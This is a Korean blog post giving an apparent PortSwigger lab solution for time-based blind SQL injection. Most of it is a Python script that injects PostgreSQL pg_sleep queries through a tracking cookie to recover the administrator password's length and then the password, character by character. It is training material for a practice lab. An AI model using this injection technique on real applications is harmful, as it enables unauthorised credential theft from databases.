본문 바로가기
Portswigger/SQL injection

Portswigger - Blind SQL injection with time delays and information retrieval solution

by jh117jh 2023. 8. 10.
728x90

시간 지연을 이용한 time based sql injection이다.

users 테이블에 username,password 컬럼이 있고 administrator의 password를 찾는 조건은 이전 문제들과 동일하다.

 

우선 각 DB들의 시간지연 문법들을 사용하여 PostgreSQL로 되어있다는걸 찾았다.

 

import requests
import time
url="https://0a5c00630475aa7980a82b720025003b.web-security-academy.net/"
cookies={"TrackingId":"41drnVTlJQn9towl",
        "session":"eaq0ZoUs1FthdTJiwnccJtCMQFGw5a0y"}
string="0123456789abcdefghijklmnopqrstuvwxyz"

pw=""


for i in range(0,100): #길이구하기
    start=time.time()
    cookies={"session":"eaq0ZoUs1FthdTJiwnccJtCMQFGw5a0y",
             "TrackingId":f"41drnVTlJQn9towl'%3b SELECT CASE WHEN ((select username from users where username='administrator' and length(password)={i})='administrator' ) THEN pg_sleep(3) ELSE pg_sleep(0) END from users--"}
    res=requests.get(url,cookies=cookies)
    end=time.time()
    if end-start > 3 :
        length=i
        print("length:",i)
        break

for i in range(1,length+1): #pw구하기
    for j in string:
        start=time.time()
        cookies={"session":"eaq0ZoUs1FthdTJiwnccJtCMQFGw5a0y",
             "TrackingId":f"41drnVTlJQn9towl'%3b SELECT CASE WHEN ((select username from users where username='administrator' and substr(password,{i},1)='{j}')='administrator' ) THEN pg_sleep(5) ELSE pg_sleep(0) END from users--"}
        res=requests.get(url,cookies=cookies)
        end=time.time()
        
        if end-start > 5:
            pw+=j
            print("pw:",pw)
            break
print("password:",pw)

그 후 조건문을 통해 참일때 시간지연 4초를 넣어 for문이 한번 돌아갈때 시작시간과 끝나는 시간의 차이가 3초 보다 클때 멈추게 하여 길이를 구하고 동일한 방법으로 password값도 구했다.

(password값을 구할때는 3초했을때 값이 이상하게 나와 5초의 시간지연을 넣었다.)

 

 

728x90